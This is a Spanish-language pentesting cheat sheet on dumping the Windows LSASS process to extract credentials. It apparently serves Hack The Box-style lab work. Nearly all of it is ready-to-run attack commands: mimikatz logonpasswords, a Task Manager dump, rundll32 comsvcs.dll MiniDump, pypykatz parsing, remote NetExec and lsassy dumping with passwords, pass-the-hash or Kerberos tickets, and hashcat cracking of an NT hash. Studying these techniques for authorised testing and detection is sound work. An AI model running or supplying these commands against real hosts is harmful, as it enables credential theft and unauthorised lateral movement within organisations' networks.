LSASS
Introduction
El proceso LSASS (Local Security Authority Subsystem Service) se encarga de gestionar la autenticación y las políticas de seguridad en Windows. Al hacer un dump de este proceso, es posible extraer credenciales como hashes de contraseñas, tickets Kerberos o contraseñas en texto claro. Esto lo convierte en un objetivo crítico durante actividades de post-explotación. Herramientas como Mimikatz o pypykatz permiten analizar y extraer esta información de los archivos de volcado.

Dumping LSASS
Mimikatz
En Windows a través de la herramienta de mimikatz haremos el dump del LSASS.
privilege::debug sekurlsa::logonpasswords
Task Manager
Con acceso a una sesión gráfica interactiva con el objetivo, podemos utilizar el administrador de tareas para crear un volcado de memoria.

Se nos creará un archivo lsass.DMP
que nos pasaremos a nuestra máquina en local para extraer las credenciales tal y como se muestra en Using Pypykatz to Extract Credentials

Using Pypykatz to Extract Credentials
En caso de disponer de un lsass.DMP en nuestra Kali, comprobar que tipo de dump es y hacer un dump del LSASS.
file lsass.DMP
pypykatz lsa minidump lsass.DMP
Rundll32.exe & Comsvcs.dll Method
El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión shell en un host Windows con sólo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.
Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:
Finding LSASS PID in cmd
Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.
C:\Windows\system32> tasklist /svc | findstr lsass.exe
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 96 N/A
smss.exe 344 N/A
csrss.exe 432 N/A
wininit.exe 508 N/A
csrss.exe 520 N/A
winlogon.exe 580 N/A
services.exe 652 N/A
lsass.exe 672 KeyIso, SamSs, VaultSvc
svchost.exe 776 PlugPlay
svchost.exe 804 BrokerInfrastructure, DcomLaunch, Power,
SystemEventsBroker
fontdrvhost.exe 812 N/A
Finding LSASS PID in PowerShell
Desde PowerShell, podemos ejecutar el comando Get-Process lsass y ver el ID del proceso en el campo Id.
PS C:\Windows\system32> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1260 21 4948 15396 2.56 672 0 lsass
Una vez que tenemos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
NetExec
De manera remota podemos hacer un dump del LSASS a través de netexec
.
nxc smb 10.99.99.10 -u 'user' -p 'Password01!' -M lsassy
nxc smb 10.99.99.10 -u 'user' -H '027ae3139c0b6e47d3825660c1ede923' -M lsassy
nxc smb dc.dominio.htb --use-kcache -M lsassy
Lsassy
lsassy -d dominio.htb -u 'user' -p 'Password' 10.99.99.10
lsassy -d dominio.htb -u 'user' -H ':027ae3139c0b6e47d3825660c1ede923' 10.99.99.10
lsassy -d dominio.htb -k --no-pass 10.99.99.10 -dc-ip 10.99.99.10
Cracking the NT Hash with hashcat
echo '027ae3139c0b6e47d3825660c1ede923' > hashes.txt
hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txt
hashcat -a 0 -m 1000 027ae3139c0b6e47d3825660c1ede923 /usr/share/wordlist/rockyou.txt
References
Enlaces utilizados:
Última actualización
¿Te fue útil?